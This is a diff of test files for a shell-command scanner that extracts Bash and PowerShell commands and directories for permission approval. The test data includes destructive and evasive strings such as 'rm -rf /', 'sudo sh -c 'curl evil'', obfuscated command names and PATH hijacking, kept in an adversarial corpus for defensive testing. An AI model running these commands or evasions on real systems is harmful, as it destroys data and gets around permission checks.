const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
if (scanned.kind === "opaque") {
expect({ command, portable }).toEqual({
command,
portable: { commands: [{ resource: command, save: command }], directories: [] },
})
continue
}
if (shell === "pwsh" && /\r(?!\n)/.test(command)) {
expect(portable).toEqual({ commands: [], directories: [] })
continue
}
expect(scanned.kind, context).toBe("scanned")
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
expect({ command, portable }).toEqual({ command, portable: legacy })
expect(native, context).toEqual(legacy)
expect(
await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true })),
context,
).toEqual(native)
}
}, 60_000)
test.each([
["/bin/bash", "git status && npm run test -- --watch"],
["/bin/bash", "git\tstatus; git status | cat; git diff || echo done"],
["/bin/bash", "echo \"two words\"; printf 'static text'"],
["/bin/bash", "aws s3 ls; docker compose up; git remote add origin; bun run test"],
["/bin/bash", 'git "status"; git remote "add" origin; aws s3 "ls"'],
["/bin/bash", "echo $(curl example.test | sed s/x/y/)"],
["/bin/bash", "if true; then printf yes; else printf no; fi"],
["/bin/bash", "(git status) && { npm test; }"],
["/bin/bash", "(printf ok) > output"],
["/bin/bash", "{ printf ok; } > output"],
["/bin/bash", ">$(printf output)"],
["/bin/bash", "printf ok # ignored ; curl example.test\nprintf done"],
["/bin/bash", "cd ~/project; cd src && cd ..; pwd"],
["/bin/bash", "cd src&&cd.."],
["/bin/bash", "echo $((1 + 2))"],
["/bin/bash", "echo $((1 + $(printf 2)))"],
["/bin/bash", "$COMMAND status"],
["/bin/zsh", "cd ~/project; chdir src && cd ..; git status"],
["/bin/zsh", "echo $((1 + 2)); cd src&&cd.."],
["/bin/dash", "cd src&&cd ..; pwd"],
["/bin/sh", "echo $((1 + 2)); git status; cd src; pwd"],
["/bin/ksh", "git status; cd src; pwd"],
["pwsh", "Get-ChildItem; Write-Output done | Out-String"],
["pwsh", "Set-Location -LiteralPath C:\\tmp; Get-ChildItem"],
["pwsh", "git status; npm run test; docker compose up"],
["pwsh", 'git "status"; npm "run" test; docker "compose" up'],
["pwsh", "Write-Output done # comment\nGet-ChildItem"],
])("native resources, saved prefixes, and directories match in %s: %s", async (shell, command) => {
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
expect(scanned.kind).toBe("scanned")
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
expect(native).toEqual(await Effect.runPromise(ShellParse.scan(command, shell, "/workspace")))
expect(await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))).toEqual(native)
})
test.each(["> output", "FOO=bar", "2>> output"])(
"returns an explicit empty result for statements without executable command nodes: %s",
async (command) => {
expect(ShellScan.scan(command)).toEqual({ kind: "scanned", commands: [] })
const native = await Effect.runPromise(ShellParse.scanPortable(command, "bash", "/workspace"))
expect(native).toEqual({ commands: [], directories: [] })
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace"))).toEqual(native)
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))).toEqual(
native,
)
},
)
})
describe("ShellParse malformed native syntax", () => {
test.each([
["bash", 'echo "unterminated', "unterminated-quote"],
["bash", "printf done &&", "invalid-structure"],
["bash", "cat >", "invalid-redirect"],
["bash", ">", "invalid-redirect"],
["bash", "FOO=bar >", "invalid-redirect"],
["bash", "echo \\", "unterminated-escape"],
["pwsh", 'Write-Output "unterminated', "unterminated-quote"],
["pwsh", "git 12>bar", "invalid-redirect"],
["pwsh", "Write-Output `", "unterminated-escape"],
] as const)("fails explicitly for malformed %s syntax: %s", async (shell, command, reason) => {
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
expect(scanned).toEqual({ kind: "opaque", reason })
expect(await Effect.runPromise(Effect.result(ShellParse.scanPortable(command, shell, "/workspace")))).toMatchObject(
{
_tag: "Failure",
failure: { message: `Portable shell scanner cannot analyze command: ${reason}` },
},
)
expect(
await Effect.runPromise(Effect.result(ShellParse.scan(command, shell, "/workspace", { portable: true }))),
).toMatchObject({
_tag: "Failure",
failure: { message: `Portable shell scanner cannot analyze command: ${reason}` },
})
})
})
// This generator describes a supported grammar; opaque results fail the test rather than being filtered out.
function generated() {
const result: Array<[shell: string, command: string]> = []
const bashHeads = ["git", "npm", "echo", "printf", "cat", "cd"]
@@ -42,107 +116,30 @@ function generated() {
" ./relative",
" /tmp/absolute",
]
const assignments = ["", "X=value ", "X='two words' ", 'X="two words" ']
const redirects = ["", " > output", " 2> error", " < input", " >> output"]
const bashSeparators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
const redirects = ["", " > output", " 2> error", " < input", " >> output"]
for (const head of bashHeads)
for (const arg of bashArgs)
for (const assignment of assignments)
for (const assignment of ["", "X=value ", "X='two words' ", 'X="two words" '])
for (const redirect of redirects) result.push(["/bin/bash", assignment + head + arg + redirect])
for (const left of bashHeads)
for (const right of bashHeads)
for (const separator of bashSeparators) result.push(["/bin/bash", `${left} left${separator}${right} right`])
for (const outer of bashHeads)
for (const outer of ["echo", "printf", "cat"])
for (const inner of bashHeads) {
result.push(["/bin/bash", `${outer} $(${inner} nested)`])
result.push(["/bin/bash", `${outer} "$(${inner} nested)"`])
result.push(["/bin/bash", `${outer} pre$(${inner} nested)post`])
result.push(["/bin/bash", `${outer} \`${inner} nested\``])
}
for (const command of [
'npm "run" test',
'g""it status',
"'git' status",
"g\\it status",
"git status; git status; git diff",
"printf ok>out 2>&1|cat<input",
"FOO=bar 2>>err printf ok > out && cat < input",
"printf ok # ignored ; curl evil\nprintf done",
"(git status) && { npm test; }",
"echo ${arr[$(printf index)]}",
"OUT=$(printf out) X=`printf value` printenv >$(printf path)",
"cat <(printf secret)",
"rm -rf / &",
"sudo sh -c 'curl evil'",
"find . -exec rm {} ;",
'c"\\d" relative',
"'cd' /tmp",
"c''d /tmp",
"c\\\nd /tmp",
"echo x && git >(cat) status",
'echo x && printf ">" status',
'echo "git > out" && git > out',
"echo x && printf a\\>b status",
"echo x && printf $(echo a>b) status",
"git <(printf status) diff",
"npm <(printf run) test",
"cd <(printf /tmp)",
"git &>x",
"cd &>x",
"git \\ a",
"cd \\ a",
"cat <<'EOF'\nstatic body\nEOF",
"cat <<EOF\n$(printf dynamic)\nEOF",
"$COMMAND dynamic",
"if true; then git status; else npm test; fi",
"for x in a b; do echo $x; done",
"cd /tmp/$USER && git status",
"echo <(git status)",
'echo "unterminated',
])
result.push(["/bin/bash", command])
const powershellHeads = ["Get-ChildItem", "Write-Output", "Test-Path", "Remove-Item", "Set-Location"]
const powershellArgs = ["", " value", " 'two words'", ' "two words"', " -Path C:\\tmp", " -LiteralPath '..\\outside'"]
const powershellSeparators = [";", "|", "&&", "||", "\n", "\r", "\r\n"]
const powershellSeparators = [";", "|", "&&", "||", "\n", "\r\n"]
for (const head of powershellHeads) for (const arg of powershellArgs) result.push(["pwsh", head + arg])
for (const left of powershellHeads)
for (const right of powershellHeads)
for (const separator of powershellSeparators) result.push(["pwsh", `${left} left${separator}${right} right`])
for (const command of [
"Get-ChildItem; Get-ChildItem; Write-Output done",
"Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"",
"Get-Content in.txt > out.txt 2>&1 | Out-File all.log",
"Write-Output ok > output.txt # ignored\nGet-ChildItem",
"Write-Output ok > output.txt # ignored\rGet-ChildItem",
"Write-Output ok > output.txt # ignored\r\nGet-ChildItem",
"& git status",
". ./deploy.ps1",
"Get-ChildItem | ForEach-Object { Remove-Item $_ }",
"ForEach-Object { Remove-Item $_ }",
"&Remove-Item victim",
"< #\nRemove-Item victim",
"Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y",
'git "status"',
"git st`atus",
'npm "run" test',
'docker "compose" up',
"git >x",
"git *>&1",
"git foo2>bar",
"git 12>bar",
"git a`;b",
"git & Write-Output q",
"Write-Output 'ForEach-Object { Remove-Item x }' | ForEach-Object { Remove-Item x }",
"$Command value",
"& $Command value",
'Write-Output "$(Get-ChildItem)"',
"if ($true) { Get-ChildItem } else { Remove-Item victim }",
"Set-Location $env:TEMP; Get-ChildItem",
'Write-Output "unterminated',
])
result.push(["pwsh", command])
let state = 0x5eed1234
const random = (length: number) => {
@@ -156,10 +153,10 @@ function generated() {
const separator = bashSeparators[random(bashSeparators.length)]
const bashForms = [
`${left}${arg}${separator}${right} fuzz${index}`,
`${left}${arg} $(${right} fuzz${index})`,
`echo $(${right} fuzz${index})`,
`${left}${arg} # ignored\n${right} fuzz${index}`,
`X=value ${left}${arg}${redirects[random(redirects.length)]}`,
`${left} before\\\nafter${separator}${right} fuzz${index}`,
`${left} 'two words'${separator}${right} fuzz${index}`,
]
result.push(["/bin/bash", bashForms[index % bashForms.length]])
@@ -171,10 +168,9 @@ function generated() {
`${powershellLeft}${powershellArg}${powershellSeparator}${powershellRight} fuzz${index}`,
`${powershellLeft}${powershellArg} # ignored\n${powershellRight} fuzz${index}`,
`${powershellLeft} fuzz${index} > output; ${powershellRight}${powershellArg}`,
`${powershellLeft}\`\n fuzz${index}; ${powershellRight}${powershellArg}`,
`${powershellLeft} "fuzz${index}" | ${powershellRight}${powershellArg}`,
]
result.push(["pwsh", powershellForms[index % powershellForms.length]])
}
return result
}
@@ -0,0 +1,114 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../src/shell/parse.js"
import { Wildcard } from "../src/util/wildcard.js"
describe("native shell syntax compatibility", () => {
test("PowerShell invocation approvals include the operator instead of saving an ineffective prefix", async () => {
const command = "& $Command value"
expect(await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))).toEqual({
commands: [{ resource: command, save: "$Command *" }],
directories: [],
})
expect(await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))).toEqual({
commands: [{ resource: command, save: "& $Command *" }],
directories: [],
})
})
test.each([
"ForEach-Object { Write-Output value }",
"Write-Output before; ForEach-Object { Write-Output value }",
"ForEach-Object { Write-Output value } | Write-Output done",
"Write-Output before | ForEach-Object { Write-Output $_ }",
"& ForEach-Object { Write-Output value }",
"& 'ForEach-Object' { Write-Output value }",
"% { Write-Output value }",
"Where-Object { Write-Output value }",
])("PowerShell scriptblock callers preserve permission resources and usable approvals: %s", async (command) => {
const legacy = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))
const native = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))
expect(native.commands.map((item) => item.resource)).toEqual(legacy.commands.map((item) => item.resource))
for (const item of native.commands) expect(Wildcard.match(item.resource, item.save), item.resource).toBe(true)
})
for (const shell of ["bash", "zsh"]) {
test.each([
"cat <<'EOF'\n$(not_a_command)\nEOF",
"cat <<EOF\n$(printf hello)\nEOF",
"cat <<-EOF\n\thello\n\tEOF",
"cat <<EOF\nhello\nEOF\nprintf done",
'cat <<< "$(printf hello)"',
"for file in a b; do printf '%s' \"$file\"; done",
"for file in $(printf file); do printf '%s' \"$file\"; done",
'for file in a b; do if test -n "$file"; then printf \'%s\' "$file"; fi; done',
"while IFS= read -r file; do printf '%s' \"$file\"; done < input",
"until test -f ready; do sleep 1; done",
"if true; then if false; then printf no; else printf yes; fi; fi",
"if true; then :; X=$(printf value); fi",
'case "$target" in *.ts) printf typescript;; *) printf other;; esac',
"greet() { printf hello; }; greet",
"function greet { printf hello; }; greet",
"printf before; { printf grouped; }; (printf subshell)",
"time git status",
"time -p git status",
"coproc git status",
"if [[ -f file ]]; then cat file; fi",
"[[ $(printf yes) = yes ]]",
"echo ${value:-default}",
'echo "${value:-$(printf fallback)}"',
"echo ${value//before/after}",
"echo ${arr[$(printf index)]}",
"printf '%s' $'line1\\nline2'",
'printf "%s" $"hello"',
"echo $((1 + ${value:-2}))",
"echo $((array[$(printf 0)]))",
"echo $[1 + 2]",
"((count++))",
"for ((i=0; i<2; i++)); do printf ok; done",
"echo `printf \\2`",
])(`${shell} extracts commands without rejecting ordinary syntax: %s`, async (command) => {
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
const native = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
expect(native).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))).toEqual(native)
})
}
test("does not invent commands from a quoted second heredoc body", async () => {
const command = "cat <<FIRST <<'SECOND'\n$(printf first)\nFIRST\n$(not_a_command)\nSECOND"
const expected = {
commands: [
{ resource: command, save: "cat *" },
{ resource: "printf first", save: "printf *" },
],
directories: [],
}
expect(await Effect.runPromise(ShellParse.scanPortable(command, "bash", "/workspace"))).toEqual(expected)
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))).toEqual(
expected,
)
})
test.each([
'Write-Output "$(Get-Location)"',
"$value = Get-Date; Write-Output $value",
"if ($true) { Write-Output yes } else { Write-Output no }",
"if (Test-Path file) { Get-Item file }",
"foreach ($value in @('a','b')) { Write-Output $value }",
"for ($i=0; $i -lt 2; $i++) { Write-Output $i }",
"while (Test-Path file) { Get-Item file; break }",
"function Show-Value { Write-Output value }; Show-Value",
"Get-Item -Path (Join-Path src file)",
'Write-Output "line1`nline2"',
"Write-Output `\n continued",
"<# comment #> Write-Output done",
"Write-Output @'\nhello\n'@",
"git st`atus",
])("PowerShell extracts commands without rejecting ordinary syntax: %s", async (command) => {
const legacy = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))
const native = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))
expect(native).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, "pwsh", "/workspace"))).toEqual(native)
})
})
+61 -11
View File
@@ -18,31 +18,34 @@ describe("ShellParse", () => {
})
})
test("portable scanning never adds permission resources", async () => {
test("portable scanning preserves supported command resources and directories", async () => {
const commands = [
"git status && npm run test -- --watch",
"echo $(curl evil | sed s/x/y/)",
"cat <<'EOF'\nstatic body\nEOF",
"cat <<EOF\n$(printf dynamic)\nEOF",
"cd /tmp/$USER && git status",
"$COMMAND status",
"if true; then printf yes; else printf no; fi",
"if true; then export X=$(printf value); unset X; fi",
"if export X=$(printf value); then printf done; fi",
"export X=value >$(printf output)",
"echo $((1 + 1))",
"cd ~; cd src&&cd ..; pwd",
]
for (const command of commands) {
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
expect(
portable.commands.every((item) => legacy.commands.some((candidate) => candidate.resource === item.resource)),
).toBe(true)
expect(portable.directories.every((item) => legacy.directories.includes(item))).toBe(true)
expect(portable, command).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, "/bin/bash", "/workspace"))).toEqual(portable)
}
})
test("portable scanning authorizes opaque heredocs without inferring directories", async () => {
test("portable scanning handles heredocs with the existing permission resource", async () => {
const command = "cat <<'EOF'\nstatic body\nEOF"
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
expect(portable).toEqual({ commands: [{ resource: command, save: command }], directories: [] })
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(legacy.commands).toEqual([{ resource: command, save: "cat *" }])
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))).toEqual(
legacy,
)
})
test.each(['c"\\d" relative', "'cd' /tmp", "c''d /tmp", "c\\\nd /tmp"])(
@@ -54,6 +57,53 @@ describe("ShellParse", () => {
},
)
test.each(["declare", "typeset", "export", "readonly", "local", "unset", "unsetenv"])(
"preserves declaration permission behavior for %s without hiding nested commands",
async (name) => {
for (const command of [`${name} X`, `${name} "$(printf X)"; git status`]) {
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(legacy.commands).toEqual(
command.includes("$(")
? [
{ resource: "printf X", save: "printf *" },
{ resource: "git status", save: "git status *" },
]
: [],
)
expect(
await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })),
).toEqual(legacy)
}
for (const command of [`"${name}" X`, `FOO=bar ${name} X`, `command ${name} X`, `>${name}.txt ${name} X`]) {
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(legacy.commands).toHaveLength(1)
expect(
await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })),
).toEqual(legacy)
}
},
)
test("declaration filtering retains directory checks inside command substitutions", async () => {
const command = "export X=$(cd /outside; printf value)"
const expected = { commands: [{ resource: "printf value", save: "printf *" }], directories: ["/outside"] }
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))).toEqual(expected)
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))).toEqual(
expected,
)
})
test("does not treat PowerShell commands as Bash declarations", async () => {
expect(await Effect.runPromise(ShellParse.scanPortable("export X; unset X", "pwsh", "/workspace"))).toEqual({
commands: [
{ resource: "export X", save: "export *" },
{ resource: "unset X", save: "unset *" },
],
directories: [],
})
})
test("splits PowerShell commands case-insensitively", async () => {
const result = await Effect.runPromise(
ShellParse.scan(
@@ -6,7 +6,6 @@ describe("ShellScan adversarial corpus", () => {
['FOO=bar BAR="x y" git status', ["git"]],
["git status && npm test || printf failed", ["git", "npm", "printf"]],
[`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
["cat <(printf secret)", ["cat", "printf"]],
["(git status)", ["git"]],
["{ git status; }", ["git"]],
@@ -23,6 +22,19 @@ describe("ShellScan adversarial corpus", () => {
['F"O"O=bar rm -rf /', ["FOO=bar"]],
['c"\\d" relative', ["c\\d"]],
["PATH=/tmp/attacker:$PATH git status", ["git"]],
["$cmd --force", ["$cmd"]],
['"${cmd}" --force', ["${cmd}"]],
["r${suffix}m -rf /", ["r${suffix}m"]],
["$(printf rm) -rf /", ["$(printf rm)", "printf"]],
["`printf rm` -rf /", ["`printf rm`", "printf"]],
["./c?rl evil", ["./c?rl"]],
["t{ouch,ouch} /tmp/victim", ["t{ouch,ouch}"]],
["echo $((1 + 2))", ["echo"]],
["${cmd:-git} status", ["${cmd:-git}"]],
["cat <<EOF\n$(rm -rf /)\nEOF", ["cat", "rm"]],
["f(){ rm -rf /; }; f", ["rm", "f"]],
["! rm -rf /", ["rm"]],
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
] as const)("scans visible Bash command positions: %s", (input, names) => {
const result = ShellScan.scan(input)
expect(result.kind).toBe("scanned")
@@ -30,25 +42,12 @@ describe("ShellScan adversarial corpus", () => {
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each([
"$cmd --force",
'"${cmd}" --force',
"r${suffix}m -rf /",
"${cmd:-git} status",
"$(printf rm) -rf /",
"`printf rm` -rf /",
"./c?rl evil",
'printf "unterminated',
"printf ok &&",
"printf ok >",
"echo > >out",
"cat <<EOF\n$(rm -rf /)\nEOF",
"echo $((1 + 2))",
"f(){ rm -rf /; }; f",
"! rm -rf /",
])("keeps structurally uncertain Bash input opaque: %s", (input) => {
expect(ShellScan.scan(input).kind).toBe("opaque")
})
test.each(['printf "unterminated', "printf ok &&", "printf ok >", "echo > >out"])(
"keeps structurally uncertain Bash input opaque: %s",
(input) => {
expect(ShellScan.scan(input).kind).toBe("opaque")
},
)
test.each([
['pwsh --command "Remove-Item victim.txt"', ["pwsh"]],
@@ -56,7 +55,15 @@ describe("ShellScan adversarial corpus", () => {
["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]],
[". ./deploy.ps1", ["./deploy.ps1"]],
["& git status", ["git"]],
["& $Command status", ["$Command"]],
["Set-Location $HOME/$target; Get-ChildItem", ["Set-Location", "Get-ChildItem"]],
["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]],
['Write-Output "$(Get-ChildItem)"', ["Write-Output", "Get-ChildItem"]],
["Remove-`Item victim", ["Remove-Item"]],
["Remove-Item`\r\n victim", ["Remove-Item\r\n"]],
["Invoke-`\nExpression 'Remove-Item victim'", ["Invoke-\nExpression"]],
["<# ignored #> Remove-Item victim", ["Remove-Item"]],
["[string]$x = Remove-Item victim", ["Remove-Item"]],
] as const)("scans visible PowerShell command positions: %s", (input, names) => {
const result = ShellScan.scanPowerShell(input)
expect(result.kind).toBe("scanned")
@@ -64,19 +71,7 @@ describe("ShellScan adversarial corpus", () => {
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each([
"$Command status",
"& $Command status",
'Write-Output "$(Get-ChildItem)"',
"Set-Location $HOME/$target; Get-ChildItem",
"Remove-`Item victim",
"Remove-Item`\r\n victim",
"Invoke-`\nExpression 'Remove-Item victim'",
"<# ignored #> Remove-Item victim",
"[string]$x = Remove-Item victim",
'Write-Output "unterminated',
"Get-ChildItem |",
])("keeps structurally uncertain PowerShell input opaque: %s", (input) => {
test.each(['Write-Output "unterminated', "Get-ChildItem |"])("reports incomplete PowerShell input: %s", (input) => {
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
})
})
@@ -0,0 +1,143 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("Bash arithmetic expansions", () => {
test.each([
"$((1+1))",
"$((1 + 1))",
"$(((1 + 2) * (3 + (4))))",
"$((value + $other + ${third}))",
"$((value += 2, value > 1 ? value << 2 : ~value))",
"$((16#ff & 0xff | 2 ** 3))",
"$((1 + $((2 * 3))))",
"$((1 + \\\n2))",
"$((1 +\n2))",
"$((1 + ${value:-2}))",
"$((array[index]))",
"$((1 + $[2]))",
'$((1 + "2"))',
"$((1 + '2'))",
])("preserves arithmetic without evaluating it: %s", (expression) => {
for (const argument of [expression, `"${expression}"`]) {
expect(ShellScan.scan(`echo ${argument}`)).toEqual({
kind: "scanned",
commands: [{ resource: `echo ${argument}`, words: ["echo", expression], rawWords: ["echo", argument] }],
})
}
})
test.each([
"$((1 + $(printf 2)))",
"$((1 + `printf 2`))",
"$((1 + $((2 * $(printf 2)))))",
'$((1 + $(printf "%s" "$(printf 2)")))',
"$((array[$(printf 2)]))",
"$((1 + `printf \\2`))",
])("reports explicit commands inside arithmetic: %s", (expression) => {
for (const argument of [expression, `"${expression}"`]) {
const result = ShellScan.scan(`echo ${argument}; pwd`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[0]).toEqual({
resource: `echo ${argument}`,
words: ["echo", expression],
rawWords: ["echo", argument],
})
expect(result.commands.slice(1, -1).map((command) => command.words[0])).toEqual(
expression.includes('"$(printf') ? ["printf", "printf"] : ["printf"],
)
expect(result.commands.at(-1)).toEqual({ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] })
}
})
test.each([
'VALUE=$((1 + $(printf 2))) echo ok >"$((3 + $(printf 4)))"',
'echo "$(echo $((1 + $(printf 2))))"',
'{ echo "$((1 + $(printf 2)))"; }',
'(echo "$((1 + $(printf 2)))")',
'if true; then echo "$((1 + $(printf 2)))"; fi',
])("recognizes arithmetic in existing shell contexts: %s", (source) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toContain("printf")
expect(result.commands.map((command) => command.words[0])).toContain("echo")
})
test("does not expand arithmetic inside single quotes", () => {
expect(ShellScan.scan("echo '$((1 + $(ignored)))'")).toEqual({
kind: "scanned",
commands: [
{
resource: "echo '$((1 + $(ignored)))'",
words: ["echo", "$((1 + $(ignored)))"],
rawWords: ["echo", "'$((1 + $(ignored)))'"],
},
],
})
})
test.each([
"echo $((1 + 2)",
"echo $(((1 + 2))",
"echo $((1 + $(printf 2))) &&",
"echo $((1 + $(printf 2 &&)))",
"echo $((1; printf 2))",
])("rejects malformed arithmetic syntax: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test("bounds arithmetic nesting, input size, and repeated conditional work", () => {
expect(ShellScan.scan(`echo $((${"(".repeat(33)}1${")".repeat(33)}))`).kind).toBe("opaque")
expect(ShellScan.scan(`echo ${"$((".repeat(33)}1${"))".repeat(33)}`).kind).toBe("opaque")
expect(ShellScan.scan(`echo $((${"1+".repeat(32 * 1024)}1))`).kind).toBe("opaque")
const source = Array.from({ length: 16 }).reduce<string>(
(source) => `if true; then echo $((1 + $(${source}))); fi`,
`printf ${"1".repeat(1024)}`,
)
expect(ShellScan.scan(source).kind).toBe("scanned")
expect(ShellScan.scan("echo $((1+1))").kind).toBe("scanned")
})
})
describe("Bash arithmetic real-shell oracle", () => {
const expressions = [
["$((1+1))", "2"],
["$(((1 + 2) * (3 + (4))))", "21"],
["$((value + $other + ${third}))", "9"],
["$((value += 2, value > 1 ? value << 2 : ~value))", "16"],
["$(((16#ff & 0xff) | (2 ** 3)))", "255"],
["$((1 + $((2 * 3))))", "7"],
["$((1 + $(scan_probe)))", "3"],
["$((1 + `scan_probe`))", "3"],
["$(((1 + $(scan_probe)) * $((2 + $(scan_probe)))))", "12"],
['$((1 + $(printf "%s" "$(scan_probe)")))', "3"],
] as const
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
test.skipIf(!executable).each(expressions)(`${shell} evaluates %s independently`, (expression, output) => {
for (const argument of [expression, `"${expression}"`]) {
const source = `value=2; other=3; third=4; printf '%s\\n' ${argument}`
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'scan_probe\\n' >&2; printf 2; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stdout.toString()).toBe(`${output}\n`)
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
const observed = execution.stderr.toString().trim().split("\n").filter(Boolean)
expect(observed).toEqual(Array.from({ length: expression.split("scan_probe").length - 1 }, () => "scan_probe"))
expect(result.commands.filter((command) => command.words[0] === "scan_probe")).toHaveLength(observed.length)
expect(result.commands[0]?.words).toEqual(["printf", "%s\\n", expression])
}
})
}
})
@@ -0,0 +1,266 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
const executions = [
['printf safe; "scan_probe"', "scan_probe"],
["printf safe; 'scan_probe'", "scan_probe"],
["printf safe; $(printf scan_probe)", "$(printf scan_probe)"],
["X=${unset:-a b} scan_probe", "scan_probe"],
["X=value # comment\nscan_probe", "scan_probe"],
['printf "%s" `\\$(scan_probe)`', "scan_probe"],
['printf %s `printf \\\\"; scan_probe; printf \\\\"`', "scan_probe"],
["if true; then X=x scan_probe; fi", "scan_probe"],
["if true; then >/dev/null X=x scan_probe; fi", "scan_probe"],
["printf safe; { scan_probe; }", "scan_probe"],
["if true; then { scan_probe; }; fi", "scan_probe"],
["s{can_probe,can_probe}", "s{can_probe,can_probe}"],
['printf safe; # comment\n"scan_probe"', "scan_probe"],
["printf safe; \\\n'scan_probe'", "scan_probe"],
] as const
describe("Bash execution safety", () => {
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
test.skipIf(!executable).each([...executions])(`${shell} command syntax is visible: %s`, (source, head) => {
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'executed\\n' >&2; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.stderr.toString()).toContain("executed\n")
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toContain(head)
})
}
test.each([
"printf ok && # comment",
'"if" true; then printf safe; fi',
"X=x if true; then printf safe; fi",
"(printf ok) &&",
"{ printf ok; } ||",
"(printf ok) |",
"(printf ok) |&",
])("rejects malformed command positions: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test.each([" ", "\t"])("recognizes shell whitespace %j", (space) => {
expect(ShellScan.scan(`printf${space}ok`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `printf${space}ok`, words: ["printf", "ok"] }],
})
})
test.each(["\r", "\v", "\f", "\u00a0", "\ufeff"])("does not normalize non-shell whitespace %j", (space) => {
expect(ShellScan.scan(`${space}printf ok`).kind).toBe("opaque")
expect(ShellScan.scan(`printf${space}ok`).kind).toBe("opaque")
})
test.each(["'123'", '"123"', "1\\23"])("does not consume quoted command names as fd prefixes: %s", (head) => {
expect(ShellScan.scan(`${head}>/dev/null argument`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `${head}>/dev/null argument`, words: ["123", "argument"] }],
})
})
test.each([
"'' > output",
"''",
"> output (printf ok)",
"(printf ok) >output pwd",
"{ printf ok; } >output X=x",
"(printf ok) &>output pwd",
])("keeps unsupported group positions and empty command names opaque: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test.each(["X=value > /dev/null", "X=x 2> output", "X=x < input", "> /dev/null", "2>> output", ">output 2>&1"])(
"scans redirects without inventing an executable command: %s",
(source) => {
expect(ShellScan.scan(source)).toEqual({ kind: "scanned", commands: [] })
},
)
test.each([">", "X=x >", "X=x > # comment\nprintf ok", ">; printf ok", "(printf ok) >", "{ printf ok; } >"])(
"still requires redirect targets: %s",
(source) => {
expect(ShellScan.scan(source)).toEqual({ kind: "opaque", reason: "invalid-redirect" })
},
)
test.each([
"{ printf ok; } > output",
"{ printf ok; } 2> output",
